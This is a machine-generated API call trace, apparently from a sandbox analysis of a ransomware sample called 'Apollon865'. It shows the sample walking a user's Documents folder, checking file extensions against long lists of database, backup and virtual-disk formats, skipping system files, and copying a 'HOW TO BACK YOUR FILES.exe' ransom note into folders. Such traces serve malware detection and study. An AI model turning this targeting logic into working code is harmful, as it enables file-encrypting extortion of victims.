	[0040.604] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0040.604] lstrlenW (lpString="ihx") returned 3
	[0040.604] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0040.604] lstrlenW (lpString="itdb") returned 4
	[0040.604] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0040.604] lstrlenW (lpString="itw") returned 3
	[0040.604] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0040.604] lstrlenW (lpString="jet") returned 3
	[0040.604] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0040.604] lstrlenW (lpString="jtx") returned 3
	[0040.604] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0040.604] lstrlenW (lpString="kdb") returned 3
	[0040.604] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0040.604] lstrlenW (lpString="kexi") returned 4
	[0040.604] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0040.604] lstrlenW (lpString="kexic") returned 5
	[0040.604] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0040.604] lstrlenW (lpString="kexis") returned 5
	[0040.604] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0040.604] lstrlenW (lpString="lgc") returned 3
	[0040.604] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0040.605] lstrlenW (lpString="lwx") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0040.605] lstrlenW (lpString="maf") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0040.605] lstrlenW (lpString="maq") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0040.605] lstrlenW (lpString="mar") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0040.605] lstrlenW (lpString="marshal") returned 7
	[0040.605] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0040.605] lstrlenW (lpString="mas") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0040.605] lstrlenW (lpString="mav") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0040.605] lstrlenW (lpString="maw") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0040.605] lstrlenW (lpString="mdbhtml") returned 7
	[0040.605] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0040.605] lstrlenW (lpString="mdn") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0040.605] lstrlenW (lpString="mdt") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0040.605] lstrlenW (lpString="mfd") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0040.605] lstrlenW (lpString="mpd") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0040.605] lstrlenW (lpString="mrg") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0040.605] lstrlenW (lpString="mud") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0040.605] lstrlenW (lpString="mwb") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0040.605] lstrlenW (lpString="myd") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0040.605] lstrlenW (lpString="ndf") returned 3
	[0040.605] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0040.606] lstrlenW (lpString="nnt") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0040.606] lstrlenW (lpString="nrmlib") returned 6
	[0040.606] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0040.606] lstrlenW (lpString="ns2") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0040.606] lstrlenW (lpString="ns3") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0040.606] lstrlenW (lpString="ns4") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0040.606] lstrlenW (lpString="nsf") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0040.606] lstrlenW (lpString="nv") returned 2
	[0040.606] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0040.606] lstrlenW (lpString="nv2") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0040.606] lstrlenW (lpString="nwdb") returned 4
	[0040.606] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0040.606] lstrlenW (lpString="nyf") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0040.606] lstrlenW (lpString="odb") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0040.606] lstrlenW (lpString="odb") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0040.606] lstrlenW (lpString="oqy") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0040.606] lstrlenW (lpString="ora") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0040.606] lstrlenW (lpString="orx") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0040.606] lstrlenW (lpString="owc") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0040.606] lstrlenW (lpString="p96") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0040.606] lstrlenW (lpString="p97") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0040.606] lstrlenW (lpString="pan") returned 3
	[0040.606] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0040.607] lstrlenW (lpString="pdb") returned 3
	[0040.607] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0040.607] lstrlenW (lpString="pdm") returned 3
	[0040.607] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0040.607] lstrlenW (lpString="pnz") returned 3
	[0040.607] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0040.607] lstrlenW (lpString="qry") returned 3
	[0040.607] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0040.607] lstrlenW (lpString="qvd") returned 3
	[0040.607] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0040.607] lstrlenW (lpString="rbf") returned 3
	[0040.607] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0040.607] lstrlenW (lpString="rctd") returned 4
	[0040.607] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0040.607] lstrlenW (lpString="rod") returned 3
	[0040.607] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0040.607] lstrlenW (lpString="rodx") returned 4
	[0040.607] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0040.607] lstrlenW (lpString="rpd") returned 3
	[0040.607] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0040.607] lstrlenW (lpString="rsd") returned 3
	[0040.607] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0040.607] lstrlenW (lpString="sas7bdat") returned 8
	[0040.607] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0040.607] lstrlenW (lpString="sbf") returned 3
	[0040.607] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0040.607] lstrlenW (lpString="scx") returned 3
	[0040.608] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0040.608] lstrlenW (lpString="sdb") returned 3
	[0040.608] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0040.608] lstrlenW (lpString="sdc") returned 3
	[0040.608] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0040.608] lstrlenW (lpString="sdf") returned 3
	[0040.608] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0040.609] lstrlenW (lpString="sis") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0040.609] lstrlenW (lpString="spq") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0040.609] lstrlenW (lpString="te") returned 2
	[0040.609] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0040.609] lstrlenW (lpString="teacher") returned 7
	[0040.609] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0040.609] lstrlenW (lpString="tmd") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0040.609] lstrlenW (lpString="tps") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0040.609] lstrlenW (lpString="trc") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0040.609] lstrlenW (lpString="trc") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0040.609] lstrlenW (lpString="trm") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0040.609] lstrlenW (lpString="udb") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0040.609] lstrlenW (lpString="udl") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0040.609] lstrlenW (lpString="usr") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0040.609] lstrlenW (lpString="v12") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0040.609] lstrlenW (lpString="vis") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0040.609] lstrlenW (lpString="vpd") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0040.609] lstrlenW (lpString="vvv") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0040.609] lstrlenW (lpString="wdb") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0040.609] lstrlenW (lpString="wmdb") returned 4
	[0040.609] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0040.609] lstrlenW (lpString="wrk") returned 3
	[0040.609] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0040.610] lstrlenW (lpString="xdb") returned 3
	[0040.610] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0040.610] lstrlenW (lpString="xld") returned 3
	[0040.610] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0040.610] lstrlenW (lpString="xmlff") returned 5
	[0040.610] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0040.610] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2="Apollon865.txt.exe") returned 1
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2=".") returned 1
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2="..") returned 1
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2="windows") returned -1
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2="bootmgr") returned 1
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2="temp") returned -1
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2="pagefile.sys") returned -1
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2="boot") returned 1
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2="ids.txt") returned -1
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2="ntuser.dat") returned -1
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2="perflogs") returned -1
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2="MSBuild") returned -1
	[0040.610] lstrlenW (lpString="Favorites.vss") returned 13
	[0040.610] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned 61
	[0040.610] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="Favorites.vss" | out: lpString1="Favorites.vss") returned="Favorites.vss"
	[0040.610] lstrlenW (lpString="Favorites.vss") returned 13
	[0040.610] lstrlenW (lpString="Apollon865") returned 10
	[0040.610] lstrcmpiW (lpString1="orites.vss", lpString2="Apollon865") returned 1
	[0040.610] lstrlenW (lpString=".dll") returned 4
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2=".dll") returned 1
	[0040.610] lstrlenW (lpString=".lnk") returned 4
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2=".lnk") returned 1
	[0040.610] lstrlenW (lpString=".ini") returned 4
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2=".ini") returned 1
	[0040.610] lstrlenW (lpString=".sys") returned 4
	[0040.610] lstrcmpiW (lpString1="Favorites.vss", lpString2=".sys") returned 1
	[0040.610] lstrlenW (lpString="Favorites.vss") returned 13
	[0040.610] lstrlenW (lpString="bak") returned 3
	[0040.610] lstrcmpiW (lpString1="vss", lpString2="bak") returned 1
	[0040.611] lstrlenW (lpString="ba_") returned 3
	[0040.611] lstrcmpiW (lpString1="vss", lpString2="ba_") returned 1
	[0040.611] lstrlenW (lpString="dbb") returned 3
	[0040.611] lstrcmpiW (lpString1="vss", lpString2="dbb") returned 1
	[0040.611] lstrlenW (lpString="vmdk") returned 4
	[0040.611] lstrcmpiW (lpString1=".vss", lpString2="vmdk") returned -1
	[0040.611] lstrlenW (lpString="rar") returned 3
	[0040.611] lstrcmpiW (lpString1="vss", lpString2="rar") returned 1
	[0040.611] lstrlenW (lpString="zip") returned 3
	[0040.611] lstrcmpiW (lpString1="vss", lpString2="zip") returned -1
	[0040.611] lstrlenW (lpString="tgz") returned 3
	[0040.611] lstrcmpiW (lpString1="vss", lpString2="tgz") returned 1
	[0040.611] lstrlenW (lpString="vbox") returned 4
	[0040.611] lstrcmpiW (lpString1=".vss", lpString2="vbox") returned -1
	[0040.611] lstrlenW (lpString="vdi") returned 3
	[0040.611] lstrcmpiW (lpString1="vss", lpString2="vdi") returned 1
	[0040.611] lstrlenW (lpString="vhd") returned 3
	[0040.611] lstrcmpiW (lpString1="vss", lpString2="vhd") returned 1
	[0040.611] lstrlenW (lpString="vhdx") returned 4
	[0040.611] lstrcmpiW (lpString1=".vss", lpString2="vhdx") returned -1
	[0040.611] lstrlenW (lpString="avhd") returned 4
	[0040.611] lstrcmpiW (lpString1=".vss", lpString2="avhd") returned -1
	[0040.611] lstrlenW (lpString="db") returned 2
	[0040.611] lstrcmpiW (lpString1="ss", lpString2="db") returned 1
	[0040.611] lstrlenW (lpString="db2") returned 3
	[0040.611] lstrcmpiW (lpString1="vss", lpString2="db2") returned 1
	[0040.611] lstrlenW (lpString="db3") returned 3
	[0040.611] lstrcmpiW (lpString1="vss", lpString2="db3") returned 1
	[0040.611] lstrlenW (lpString="dbf") returned 3
	[0040.611] lstrcmpiW (lpString1="vss", lpString2="dbf") returned 1
	[0040.611] lstrlenW (lpString="mdf") returned 3
	[0040.611] lstrcmpiW (lpString1="vss", lpString2="mdf") returned 1
	[0040.611] lstrlenW (lpString="mdb") returned 3
	[0040.611] lstrcmpiW (lpString1="vss", lpString2="mdb") returned 1
	[0040.611] lstrlenW (lpString="sql") returned 3
	[0040.611] lstrcmpiW (lpString1="vss", lpString2="sql") returned 1
	[0040.611] lstrlenW (lpString="sqlite") returned 6
	[0040.612] lstrcmpiW (lpString1="es.vss", lpString2="sqlite") returned -1
	[0040.612] lstrlenW (lpString="sqlite3") returned 7
	[0040.612] lstrcmpiW (lpString1="tes.vss", lpString2="sqlite3") returned 1
	[0040.612] lstrlenW (lpString="sqlitedb") returned 8
	[0040.612] lstrcmpiW (lpString1="ites.vss", lpString2="sqlitedb") returned -1
	[0040.612] lstrlenW (lpString="xml") returned 3
	[0040.612] lstrcmpiW (lpString1="vss", lpString2="xml") returned -1
	[0040.612] lstrlenW (lpString="$er") returned 3
	[0040.612] lstrcmpiW (lpString1="vss", lpString2="$er") returned 1
	[0040.612] lstrlenW (lpString="4dd") returned 3
	[0040.612] lstrcmpiW (lpString1="vss", lpString2="4dd") returned 1
	[0040.612] lstrlenW (lpString="4dl") returned 3
	[0040.612] lstrcmpiW (lpString1="vss", lpString2="4dl") returned 1
	[0040.612] lstrlenW (lpString="^^^") returned 3
	[0040.612] lstrcmpiW (lpString1="vss", lpString2="^^^") returned 1
	[0040.612] lstrlenW (lpString="abs") returned 3
	[0040.613] lstrcmpiW (lpString1="vss", lpString2="abs") returned 1
	[0040.613] lstrlenW (lpString="abx") returned 3
	[0040.613] lstrcmpiW (lpString1="vss", lpString2="abx") returned 1
	[0040.613] lstrlenW (lpString="accdb") returned 5
	[0040.613] lstrcmpiW (lpString1="s.vss", lpString2="accdb") returned 1
	[0040.613] lstrlenW (lpString="accdc") returned 5
	[0040.613] lstrcmpiW (lpString1="s.vss", lpString2="accdc") returned 1
	[0040.613] lstrlenW (lpString="accde") returned 5
	[0040.613] lstrcmpiW (lpString1="s.vss", lpString2="accde") returned 1
	[0040.613] lstrlenW (lpString="accdr") returned 5
	[0040.613] lstrcmpiW (lpString1="s.vss", lpString2="accdr") returned 1
	[0040.613] lstrlenW (lpString="accdt") returned 5
	[0040.613] lstrcmpiW (lpString1="s.vss", lpString2="accdt") returned 1
	[0040.613] lstrlenW (lpString="accdw") returned 5
	[0040.613] lstrcmpiW (lpString1="s.vss", lpString2="accdw") returned 1
	[0040.613] lstrlenW (lpString="accft") returned 5
	[0040.613] lstrcmpiW (lpString1="s.vss", lpString2="accft") returned 1
	[0040.613] lstrlenW (lpString="adb") returned 3
	[0040.613] lstrcmpiW (lpString1="vss", lpString2="adb") returned 1
	[0040.613] lstrlenW (lpString="adb") returned 3
	[0040.613] lstrcmpiW (lpString1="vss", lpString2="adb") returned 1
	[0040.613] lstrlenW (lpString="ade") returned 3
	[0040.614] lstrcmpiW (lpString1="vss", lpString2="ade") returned 1
	[0040.614] lstrlenW (lpString="adf") returned 3
	[0040.614] lstrcmpiW (lpString1="vss", lpString2="adf") returned 1
	[0040.614] lstrlenW (lpString="adn") returned 3
	[0040.614] lstrcmpiW (lpString1="vss", lpString2="adn") returned 1
	[0040.614] lstrlenW (lpString="adp") returned 3
	[0040.614] lstrcmpiW (lpString1="vss", lpString2="adp") returned 1
	[0040.614] lstrlenW (lpString="alf") returned 3
	[0040.614] lstrcmpiW (lpString1="vss", lpString2="alf") returned 1
	[0040.614] lstrlenW (lpString="ask") returned 3
	[0040.614] lstrcmpiW (lpString1="vss", lpString2="ask") returned 1
	[0040.614] lstrlenW (lpString="btr") returned 3
	[0040.614] lstrcmpiW (lpString1="vss", lpString2="btr") returned 1
	[0040.614] lstrlenW (lpString="cat") returned 3
	[0040.614] lstrcmpiW (lpString1="vss", lpString2="cat") returned 1
	[0040.614] lstrlenW (lpString="cdb") returned 3
	[0040.614] lstrcmpiW (lpString1="vss", lpString2="cdb") returned 1
	[0040.614] lstrlenW (lpString="ckp") returned 3
	[0040.614] lstrcmpiW (lpString1="vss", lpString2="ckp") returned 1
	[0040.614] lstrlenW (lpString="cma") returned 3
	[0040.614] lstrcmpiW (lpString1="vss", lpString2="cma") returned 1
	[0040.614] lstrlenW (lpString="cpd") returned 3
	[0040.614] lstrcmpiW (lpString1="vss", lpString2="cpd") returned 1
	[0040.614] lstrlenW (lpString="dacpac") returned 6
	[0040.614] lstrcmpiW (lpString1="es.vss", lpString2="dacpac") returned 1
	[0040.614] lstrlenW (lpString="dad") returned 3
	[0040.614] lstrcmpiW (lpString1="vss", lpString2="dad") returned 1
	[0040.614] lstrlenW (lpString="dadiagrams") returned 10
	[0040.614] lstrcmpiW (lpString1="orites.vss", lpString2="dadiagrams") returned 1
	[0040.614] lstrlenW (lpString="daschema") returned 8
	[0040.614] lstrcmpiW (lpString1="ites.vss", lpString2="daschema") returned 1
	[0040.614] lstrlenW (lpString="db-journal") returned 10
	[0040.614] lstrcmpiW (lpString1="orites.vss", lpString2="db-journal") returned 1
	[0040.614] lstrlenW (lpString="db-shm") returned 6
	[0040.614] lstrcmpiW (lpString1="es.vss", lpString2="db-shm") returned 1
	[0040.614] lstrlenW (lpString="db-wal") returned 6
	[0040.614] lstrcmpiW (lpString1="es.vss", lpString2="db-wal") returned 1
	[0040.614] lstrlenW (lpString="dbc") returned 3
	[0040.615] lstrcmpiW (lpString1="vss", lpString2="dbc") returned 1
	[0040.615] lstrlenW (lpString="dbs") returned 3
	[0040.615] lstrcmpiW (lpString1="vss", lpString2="dbs") returned 1
	[0040.615] lstrlenW (lpString="dbt") returned 3
	[0040.615] lstrcmpiW (lpString1="vss", lpString2="dbt") returned 1
	[0040.615] lstrlenW (lpString="dbv") returned 3
	[0040.615] lstrcmpiW (lpString1="vss", lpString2="dbv") returned 1
	[0040.615] lstrlenW (lpString="dbx") returned 3
	[0040.615] lstrcmpiW (lpString1="vss", lpString2="dbx") returned 1
	[0040.615] lstrlenW (lpString="dcb") returned 3
	[0040.615] lstrcmpiW (lpString1="vss", lpString2="dcb") returned 1
	[0040.615] lstrcmpiW (lpString1="vss", lpString2="dct") returned 1
	[0040.615] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="_private" | out: lpString1="_private") returned="_private"
	[0040.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0040.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x5916c0
	[0040.615] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0040.615] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0
	[0040.615] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0040.615] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0040.615] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private"
	[0040.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0040.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0040.615] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private") returned 58
	[0040.615] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private"
	[0040.615] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.615] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.622] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.622] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x30519490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30519490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.622] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.622] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.622] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.622] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x30519490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30519490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.622] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.622] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.622] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.622] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.622] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0040.622] lstrcmpiW (lpString1="folder.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.622] lstrcmpiW (lpString1="folder.ico", lpString2="Apollon865.txt.exe") returned 1
	[0040.622] lstrcmpiW (lpString1="folder.ico", lpString2=".") returned 1
	[0040.622] lstrcmpiW (lpString1="folder.ico", lpString2="..") returned 1
	[0040.622] lstrcmpiW (lpString1="folder.ico", lpString2="windows") returned -1
	[0040.622] lstrcmpiW (lpString1="folder.ico", lpString2="bootmgr") returned 1
	[0040.622] lstrcmpiW (lpString1="folder.ico", lpString2="temp") returned -1
	[0040.622] lstrcmpiW (lpString1="folder.ico", lpString2="pagefile.sys") returned -1
	[0040.622] lstrcmpiW (lpString1="folder.ico", lpString2="boot") returned 1
	[0040.622] lstrcmpiW (lpString1="folder.ico", lpString2="ids.txt") returned -1
	[0040.622] lstrcmpiW (lpString1="folder.ico", lpString2="ntuser.dat") returned -1
	[0040.622] lstrcmpiW (lpString1="folder.ico", lpString2="perflogs") returned -1
	[0040.622] lstrcmpiW (lpString1="folder.ico", lpString2="MSBuild") returned -1
	[0040.622] lstrlenW (lpString="folder.ico") returned 10
	[0040.623] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*") returned 60
	[0040.623] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="folder.ico" | out: lpString1="folder.ico") returned="folder.ico"
	[0040.623] lstrlenW (lpString="folder.ico") returned 10
	[0040.623] lstrlenW (lpString="Apollon865") returned 10
	[0040.623] lstrlenW (lpString=".dll") returned 4
